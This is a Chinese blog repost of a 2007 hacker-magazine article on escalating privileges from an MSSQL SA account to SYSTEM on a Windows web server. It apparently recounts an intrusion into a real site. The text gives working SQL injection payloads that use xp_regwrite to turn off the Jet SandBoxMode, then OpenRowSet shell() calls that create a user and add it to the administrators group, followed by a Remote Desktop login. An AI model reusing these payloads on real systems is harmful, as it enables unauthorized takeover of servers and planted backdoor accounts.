一把“沙盒”提權
[重要通告]如您遇疑難雜癥,本站支持知識付費業務,掃右邊二維碼加博主微信,可節省您寶貴時間哦!
一把“沙盒”提權
今天實踐了一把“沙盒”提權
文章登于2007年2月的黑客X檔案雜志
作者:職業欠錢
動易出新洞,呆呆找到了后臺密碼,得到shell,su端口被改,沒別的途徑,數據庫連接帳號是SA,執行命令的存儲過程無效(自己上傳了dll文件恢復了xp_cmdshell也沒用,OA_create和Job也試了,執行命令無回顯),本欲放棄,想起前輩的一句話:“得到了SA拿不到system權限是水平問題”,于是仔細想了下,不能執行命令,還有讀和寫文件的超級權限,而且注冊表的讀和寫權限也是有的,因此前輩的話非常有道理,有了這些權限,僅僅是不能執行命令就放棄,太劃不來了。
想起一個沙盒的故事,那是很早以前,kevin1986還沒退出這個圈子,神秘兮兮的在賣一個工具,說是MDB注射時可以拿到system權限的工具,價錢不緋
大約一年后,這個真相終于被人公布了,引用一篇文章如下:
調用特殊函數實現SQL注入
首先我在
Select shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');
查看計算機管理的本地用戶,馬上發現多出一個ray用戶,說明語句成功執行了.接下來寫一個VBS腳本任意連接一個mdb來測試這個SQL語句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
運行后會出現"表達式中的'Shell'函數未定義"的錯誤,
通常一臺MSSQL服務器同時支持Access數據庫,所以只要有一個sa或者dbowner的連接,就滿足了修改注冊表的條件,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一個sa或者dbowner的連接的SQL注入點,就可以構造出如下注入語句
InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
那我們將SandBoxMode開關的注冊表值修改為0就成功了.接著連接到一個Access數據庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access數據庫相關Select的注入點或者直接用ASP文件Select調用這個VBA的 shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是打開一個特殊的數據庫或者連接到另一個數據庫之中.當我們有一個 SA權限連接的時候,就可以做到打開Jet引擎連接到一個Access數據庫,同時我們搜索系統文件會發現windows系統目錄下本身就存在兩個 Access數據庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來我們又可以利用OpenRowSet函數構造出如下注入語句:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--
如果你覺得不大好懂的話,我可以給你做一個簡化的理解:
1,Access可以調用VBS的函數,以System權限執行任意命令
2,Access執行這個命令是有條件的,需要一個開關被打開
3,這個開關在注冊表里
4,SA是有權限寫注冊表的
5,用SA寫注冊表的權限打開那個開關
6,調用Access里的執行命令方法,以system權限執行任意命令
所以,今天我使用HDSI的執行SQL命令,執行了以下命令:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators zyqq /add")');
最后,用這個新加上的用戶,成功登陸3389!
據說DBO也有寫注冊表的權限,那么如果制作出一個專用的工具來,以后的提權道路確實會又寬廣了很多!不過DBO這個寫注冊表的權限我還沒有測試,一會測試了把報告發上來。
問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!